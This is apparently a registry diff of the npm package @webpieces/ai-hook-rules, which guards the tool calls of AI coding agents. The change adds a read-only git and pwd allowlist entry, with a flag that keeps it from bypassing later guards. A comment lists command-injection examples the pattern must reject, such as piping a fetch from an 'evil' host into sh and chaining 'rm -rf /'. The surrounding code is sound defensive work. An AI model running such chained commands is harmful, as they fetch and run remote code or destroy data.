@webpieces/ai-hook-rules 0.4.556 → 0.4.558

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@webpieces/ai-hook-rules",
3
- "version": "0.4.556",
3
+ "version": "0.4.558",
4
4
  "description": "Pluggable write-time validation framework for AI coding agents (@webpieces/ai-hook-rules). Claude Code PreToolUse + openclaw before_tool_call adapters share one rule engine.",
5
5
  "type": "commonjs",
6
6
  "main": "./src/index.js",
@@ -32,7 +32,7 @@
32
32
  "directory": "packages/tooling/ai-hook-rules"
33
33
  },
34
34
  "dependencies": {
35
- "@webpieces/rules-config": "0.4.556"
35
+ "@webpieces/rules-config": "0.4.558"
36
36
  },
37
37
  "publishConfig": {
38
38
  "access": "public"
@@ -17,6 +17,9 @@ export declare const RESTORE_SHIM_ALLOW_JS: RegExp;
17
17
  export declare const RESTORE_SHIM_CMD = "cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh";
18
18
  export declare const INSTALL_HOOKS_ALLOW_ERE: string;
19
19
  export declare const INSTALL_HOOKS_ALLOW_JS: RegExp;
20
+ export declare const ORIENT_ALLOW_ERE: string;
21
+ export declare const ORIENT_ALLOW_JS: RegExp;
22
+ export declare const ORIENT_CMD = "pwd";
20
23
  export declare const INSTALL_HOOKS_CMD = "pnpm exec wp-install-ai-hooks";
21
24
  export declare const INSTALL_HOOKS_TARGET_CMD = "pnpm wp-install-ai-hooks --target=project";
22
25
  /** One tool call as L0 judges it: the tool name, the Bash command (or ''), the file target (or ''). */
@@ -36,15 +39,33 @@ export declare class L0Call {
36
39
  * `extraSamples` pins ADDITIONAL spellings the same entry must accept. A spelling that some deny
37
40
  * message prescribes belongs here, or nothing stops a later tightening of the pattern from making that
38
41
  * message's cure untypable again — which is the deadlock shape this whole module exists to prevent.
42
+ *
43
+ * `cure` is the ONE thing that is not uniform across the list, and it is not about L0 at all — see
44
+ * L0_CURE_ALLOW_JS below. Every entry is judged identically while an L0 fault is up; `cure` decides
45
+ * only whether the entry ALSO bypasses the downstream (L1) guards on a HEALTHY tree.
39
46
  */
40
47
  export declare class L0AllowEntry {
41
48
  readonly label: string;
42
49
  readonly kind: 'pass' | 'allow';
50
+ /**
51
+ * True when this entry REPAIRS the tooling (install, sync, shim restore). A cure has to run
52
+ * before webpieces.config.json can even be loaded, so it bypasses everything, always. A
53
+ * non-cure (read-only orientation) is allowed while a fault is up and is otherwise an ordinary
54
+ * command the downstream guards still judge.
55
+ */
56
+ readonly cure: boolean;
43
57
  readonly ere: string | null;
44
58
  readonly js: string | null;
45
59
  readonly sample: L0Call;
46
60
  readonly extraSamples: readonly L0Call[];
47
- constructor(label: string, kind: 'pass' | 'allow', ere: string | null, js: string | null, sample: L0Call, extraSamples?: readonly L0Call[]);
61
+ constructor(label: string, kind: 'pass' | 'allow',
62
+ /**
63
+ * True when this entry REPAIRS the tooling (install, sync, shim restore). A cure has to run
64
+ * before webpieces.config.json can even be loaded, so it bypasses everything, always. A
65
+ * non-cure (read-only orientation) is allowed while a fault is up and is otherwise an ordinary
66
+ * command the downstream guards still judge.
67
+ */
68
+ cure: boolean, ere: string | null, js: string | null, sample: L0Call, extraSamples?: readonly L0Call[]);
48
69
  /** Every call this entry pins: the canonical sample plus every extra spelling. */
49
70
  allSamples(): readonly L0Call[];
50
71
  }
@@ -52,6 +73,7 @@ export declare const L0_ALLOWLIST: readonly L0AllowEntry[];
52
73
  export declare const L0_ALLOW_ERE: string;
53
74
  export declare const L0_ALLOW_ERE_SH: string;
54
75
  export declare const L0_ALLOW_JS: RegExp;
76
+ export declare const L0_CURE_ALLOW_JS: RegExp;
55
77
  export declare const READ_TOOLS: ReadonlySet<string>;
56
78
  /**
57
79
  * `isAllowed(call)` — THE L0 allowlist, with no fault parameter. See the block comment above.
@@ -1,6 +1,6 @@
1
1
  "use strict";
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
- exports.READ_TOOLS = exports.L0_ALLOW_JS = exports.L0_ALLOW_ERE_SH = exports.L0_ALLOW_ERE = exports.L0_ALLOWLIST = exports.L0AllowEntry = exports.L0Call = exports.INSTALL_HOOKS_TARGET_CMD = exports.INSTALL_HOOKS_CMD = exports.INSTALL_HOOKS_ALLOW_JS = exports.INSTALL_HOOKS_ALLOW_ERE = exports.RESTORE_SHIM_CMD = exports.RESTORE_SHIM_ALLOW_JS = exports.RESTORE_SHIM_ALLOW_ERE = exports.UPGRADE_SHIM_CMD = exports.UPGRADE_SHIM_ALLOW_JS = exports.UPGRADE_SHIM_ALLOW_ERE = exports.SYNC_ALLOW_JS = exports.SYNC_ALLOW_ERE = exports.RECOVERY_CMD = exports.RECOVERY_ALLOW_JS = exports.RECOVERY_ALLOW_ERE = exports.INSTALLER_ALLOW_JS = exports.INSTALLER_ALLOW_ERE = exports.CD_PREFIX_JS_SRC = exports.CD_PREFIX_ERE = exports.CAPTURE_TAIL_JS_SRC = exports.CAPTURE_TAIL_ERE = void 0;
3
+ exports.READ_TOOLS = exports.L0_CURE_ALLOW_JS = exports.L0_ALLOW_JS = exports.L0_ALLOW_ERE_SH = exports.L0_ALLOW_ERE = exports.L0_ALLOWLIST = exports.L0AllowEntry = exports.L0Call = exports.INSTALL_HOOKS_TARGET_CMD = exports.INSTALL_HOOKS_CMD = exports.ORIENT_CMD = exports.ORIENT_ALLOW_JS = exports.ORIENT_ALLOW_ERE = exports.INSTALL_HOOKS_ALLOW_JS = exports.INSTALL_HOOKS_ALLOW_ERE = exports.RESTORE_SHIM_CMD = exports.RESTORE_SHIM_ALLOW_JS = exports.RESTORE_SHIM_ALLOW_ERE = exports.UPGRADE_SHIM_CMD = exports.UPGRADE_SHIM_ALLOW_JS = exports.UPGRADE_SHIM_ALLOW_ERE = exports.SYNC_ALLOW_JS = exports.SYNC_ALLOW_ERE = exports.RECOVERY_CMD = exports.RECOVERY_ALLOW_JS = exports.RECOVERY_ALLOW_ERE = exports.INSTALLER_ALLOW_JS = exports.INSTALLER_ALLOW_ERE = exports.CD_PREFIX_JS_SRC = exports.CD_PREFIX_ERE = exports.CAPTURE_TAIL_JS_SRC = exports.CAPTURE_TAIL_ERE = void 0;
4
4
  exports.isAllowed = isAllowed;
5
5
  const tslib_1 = require("tslib");
6
6
  const path = tslib_1.__importStar(require("path"));
@@ -220,6 +220,43 @@ exports.INSTALL_HOOKS_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + INSTALL_HOOKS_BODY_ER
220
220
  // JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
221
221
  const INSTALL_HOOKS_BODY_JS = '(pnpm|npm|npx)(\\s+(exec|run))?\\s+wp-install-ai-hooks(\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';
222
222
  exports.INSTALL_HOOKS_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + INSTALL_HOOKS_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
223
+ // READ-ONLY ORIENTATION — the 2026-08-03 "where am I standing?" deadlock.
224
+ //
225
+ // Every entry above is a CURE. None of them tells you WHICH TREE you are in, and that is the one thing
226
+ // an agent has to know before a cure can work. The incident: an agent worked in a linked worktree while
227
+ // the drift fault (D) was measured against the PRIMARY clone ($CLAUDE_PROJECT_DIR). Its `pnpm install`
228
+ // ran in the worktree, succeeded, and changed nothing in the tree being measured, so the block never
229
+ // lifted. It could not run `pwd` — read-only bash was not on this list at all — so it could not see the
230
+ // discrepancy, invented a false theory ("the harness is stripping my `cd` prefix"), burned five
231
+ // identical installs and handed the problem back to the human. One allowed `pwd` ends that on attempt
232
+ // one.
233
+ //
234
+ // So this entry is not a cure, it is the DIAGNOSIS the cures depend on: where am I (`pwd`,
235
+ // `git rev-parse --show-toplevel`), which tree is this (`git worktree list`), which branch and what
236
+ // state (`git status`, `git branch`, `git log`, `git diff`, `git show`). All local, all read-only, none
237
+ // of them touching the network or the working tree. The sibling guard merged-branch-bash-guard already
238
+ // permits `git status|log|diff|show|branch`, so this is the policy that already exists, applied one
239
+ // layer out.
240
+ //
241
+ // THE `git worktree` TRAP. `git worktree add|remove|prune|move|repair` all MUTATE, and `git worktree`
242
+ // is the ONLY multi-word subcommand here — which is exactly why it gets its own alternative pinned to
243
+ // the LITERAL word `list` rather than joining the single-word set. A bare `git worktree` matches
244
+ // nothing, and no other subcommand can reach the accepted branch. Deny cases for `add`/`remove` are
245
+ // explicit in shim-drift.spec.ts.
246
+ //
247
+ // Kept at exactly the tightness of SYNC_BODY_ERE — the same argument token, `--flag` or a bare word
248
+ // from a character class holding no shell metacharacter — so nothing can ride along: `pwd; curl evil |
249
+ // sh`, `git status && rm -rf /`, `git log $(curl evil)` and `git status | sh` all FAIL CLOSED. Note the
250
+ // subcommand word must follow `git` IMMEDIATELY: `git -c core.pager=evil status` and `git -C /other
251
+ // status` stay denied, the same property the sync entry has.
252
+ // Keep in sync with ORIENT_ALLOW_JS below (locked by a unit test).
253
+ const ORIENT_BODY_ERE = '(pwd|git[[:space:]]+(status|log|diff|show|branch|rev-parse)|git[[:space:]]+worktree[[:space:]]+list)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';
254
+ exports.ORIENT_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + ORIENT_BODY_ERE + exports.CAPTURE_TAIL_ERE;
255
+ // JS-regex twin of ORIENT_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts the two agree.
256
+ const ORIENT_BODY_JS = '(pwd|git\\s+(status|log|diff|show|branch|rev-parse)|git\\s+worktree\\s+list)(\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._\\/@:-]*)*';
257
+ exports.ORIENT_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + ORIENT_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
258
+ // The command the incident turned on: the agent could not ask which tree it was standing in.
259
+ exports.ORIENT_CMD = 'pwd';
223
260
  // The exact command the self-guard's deny names FIRST. Present in every release that has a shim.
224
261
  exports.INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';
225
262
  // The non-interactive spelling of the FULL install (config + CI gate + hook wiring): the `--target`
@@ -276,18 +313,31 @@ exports.L0Call = L0Call;
276
313
  * `extraSamples` pins ADDITIONAL spellings the same entry must accept. A spelling that some deny
277
314
  * message prescribes belongs here, or nothing stops a later tightening of the pattern from making that
278
315
  * message's cure untypable again — which is the deadlock shape this whole module exists to prevent.
316
+ *
317
+ * `cure` is the ONE thing that is not uniform across the list, and it is not about L0 at all — see
318
+ * L0_CURE_ALLOW_JS below. Every entry is judged identically while an L0 fault is up; `cure` decides
319
+ * only whether the entry ALSO bypasses the downstream (L1) guards on a HEALTHY tree.
279
320
  */
280
321
  class L0AllowEntry {
281
322
  label;
282
323
  kind;
324
+ cure;
283
325
  ere;
284
326
  js;
285
327
  sample;
286
328
  extraSamples;
287
329
  // eslint-disable-next-line @typescript-eslint/max-params
288
- constructor(label, kind, ere, js, sample, extraSamples = []) {
330
+ constructor(label, kind,
331
+ /**
332
+ * True when this entry REPAIRS the tooling (install, sync, shim restore). A cure has to run
333
+ * before webpieces.config.json can even be loaded, so it bypasses everything, always. A
334
+ * non-cure (read-only orientation) is allowed while a fault is up and is otherwise an ordinary
335
+ * command the downstream guards still judge.
336
+ */
337
+ cure, ere, js, sample, extraSamples = []) {
289
338
  this.label = label;
290
339
  this.kind = kind;
340
+ this.cure = cure;
291
341
  this.ere = ere;
292
342
  this.js = js;
293
343
  this.sample = sample;
@@ -300,15 +350,23 @@ class L0AllowEntry {
300
350
  }
301
351
  exports.L0AllowEntry = L0AllowEntry;
302
352
  exports.L0_ALLOWLIST = [
303
- new L0AllowEntry('any Read', 'pass', null, null, new L0Call('Read', '', 'README.md')),
304
- new L0AllowEntry(`a Write/Edit whose target is ${rules_config_1.CONFIG_FILENAME}`, 'pass', null, null, new L0Call('Edit', '', `/repo/${rules_config_1.CONFIG_FILENAME}`)),
305
- new L0AllowEntry('pnpm|npm install', 'allow', INSTALLER_BODY_ERE, INSTALLER_BODY_JS, new L0Call('Bash', 'pnpm install', '')),
306
- new L0AllowEntry(`${exports.RECOVERY_CMD} - the cure for a CORRUPT node_modules`, 'allow', RECOVERY_BODY_ERE, RECOVERY_BODY_JS, new L0Call('Bash', exports.RECOVERY_CMD, '')),
353
+ new L0AllowEntry('any Read', 'pass', false, null, null, new L0Call('Read', '', 'README.md')),
354
+ new L0AllowEntry(`a Write/Edit whose target is ${rules_config_1.CONFIG_FILENAME}`, 'pass', false, null, null, new L0Call('Edit', '', `/repo/${rules_config_1.CONFIG_FILENAME}`)),
355
+ new L0AllowEntry('pnpm|npm install', 'allow', true, INSTALLER_BODY_ERE, INSTALLER_BODY_JS, new L0Call('Bash', 'pnpm install', '')),
356
+ new L0AllowEntry(`${exports.RECOVERY_CMD} - the cure for a CORRUPT node_modules`, 'allow', true, RECOVERY_BODY_ERE, RECOVERY_BODY_JS, new L0Call('Bash', exports.RECOVERY_CMD, '')),
307
357
  // webpieces-disable no-fetch -- prose naming the git sync commands in a doc label, not an HTTP call
308
- new L0AllowEntry('git pull / git fetch - merge is NOT on the list', 'allow', SYNC_BODY_ERE, SYNC_BODY_JS, new L0Call('Bash', 'git pull', '')),
309
- new L0AllowEntry(exports.UPGRADE_SHIM_CMD, 'allow', UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS, new L0Call('Bash', exports.UPGRADE_SHIM_CMD, '')),
310
- new L0AllowEntry(exports.RESTORE_SHIM_CMD, 'allow', RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS, new L0Call('Bash', exports.RESTORE_SHIM_CMD, '')),
311
- new L0AllowEntry(`${exports.INSTALL_HOOKS_CMD} (flags allowed, e.g. --target=project)`, 'allow', INSTALL_HOOKS_BODY_ERE, INSTALL_HOOKS_BODY_JS, new L0Call('Bash', exports.INSTALL_HOOKS_CMD, ''), [new L0Call('Bash', exports.INSTALL_HOOKS_TARGET_CMD, '')]),
358
+ new L0AllowEntry('git pull / git fetch - merge is NOT on the list', 'allow', true, SYNC_BODY_ERE, SYNC_BODY_JS, new L0Call('Bash', 'git pull', '')),
359
+ new L0AllowEntry(exports.UPGRADE_SHIM_CMD, 'allow', true, UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS, new L0Call('Bash', exports.UPGRADE_SHIM_CMD, '')),
360
+ new L0AllowEntry(exports.RESTORE_SHIM_CMD, 'allow', true, RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS, new L0Call('Bash', exports.RESTORE_SHIM_CMD, '')),
361
+ new L0AllowEntry(`${exports.INSTALL_HOOKS_CMD} (flags allowed, e.g. --target=project)`, 'allow', true, INSTALL_HOOKS_BODY_ERE, INSTALL_HOOKS_BODY_JS, new L0Call('Bash', exports.INSTALL_HOOKS_CMD, ''), [new L0Call('Bash', exports.INSTALL_HOOKS_TARGET_CMD, '')]),
362
+ // NOT a cure (`cure: false`): it repairs nothing, so it must not bypass the L1 guards on a healthy
363
+ // tree — `git status` from a subdirectory still meets force-to-root. It is on the L0 list because
364
+ // while a fault is UP you have to be able to see where you are standing.
365
+ new L0AllowEntry('read-only orientation: pwd, git status/log/diff/show/branch/rev-parse, git worktree list', 'allow', false, ORIENT_BODY_ERE, ORIENT_BODY_JS, new L0Call('Bash', exports.ORIENT_CMD, ''), [
366
+ new L0Call('Bash', 'git rev-parse --show-toplevel', ''),
367
+ new L0Call('Bash', 'git worktree list', ''),
368
+ new L0Call('Bash', 'git status', ''),
369
+ ]),
312
370
  ];
313
371
  const L0_BODIES_ERE = exports.L0_ALLOWLIST.flatMap((e) => (e.ere === null ? [] : [e.ere]));
314
372
  const L0_BODIES_JS = exports.L0_ALLOWLIST.flatMap((e) => (e.js === null ? [] : [e.js]));
@@ -327,6 +385,20 @@ exports.L0_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + '(' + L0_BODIES_ERE.join('|') +
327
385
  exports.L0_ALLOW_ERE_SH = exports.L0_ALLOW_ERE.split("'").join(`'\\''`);
328
386
  // JS twin of L0_ALLOW_ERE. A unit test asserts the two agree on a shared sample set.
329
387
  exports.L0_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_BODIES_JS.join('|') + ')' + exports.CAPTURE_TAIL_JS_SRC);
388
+ // The CURE subset of the same list — the entries that REPAIR the tooling.
389
+ //
390
+ // This is not a second allowlist and it is not an L0 concept. It exists because runner.ts consults the
391
+ // L0 patterns in a place where NO fault has been established: ahead of loading webpieces.config.json,
392
+ // so that a config the installed validator cannot parse (or one that is a release AHEAD of it) cannot
393
+ // trap the `pnpm install` that fixes exactly that. That bypass skips every L1 guard as well, which is
394
+ // correct for a repair command and WRONG for anything else.
395
+ //
396
+ // So when read-only orientation joined the list, it had to join it as a NON-cure. Otherwise adding
397
+ // `pwd` would silently have switched off force-to-root for `git status`, `git log` and `git diff` on a
398
+ // perfectly healthy repo — a guard deleted as a side effect of a diagnostic. Under an actual fault
399
+ // isAllowed() still answers for the WHOLE list, orientation included; the split changes nothing there.
400
+ const L0_CURE_BODIES_JS = exports.L0_ALLOWLIST.flatMap((e) => (e.js === null || !e.cure ? [] : [e.js]));
401
+ exports.L0_CURE_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_CURE_BODIES_JS.join('|') + ')' + exports.CAPTURE_TAIL_JS_SRC);
330
402
  // The non-Bash half of the same list, kept here so sh and JS answer the identical question.
331
403
  //
332
404
  // `Read` is on the list because you must be able to READ to know how to fix — the original
@@ -1 +1 @@
1
- {"version":3,"file":"l0-allowlist.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/l0-allowlist.ts"],"names":[],"mappings":"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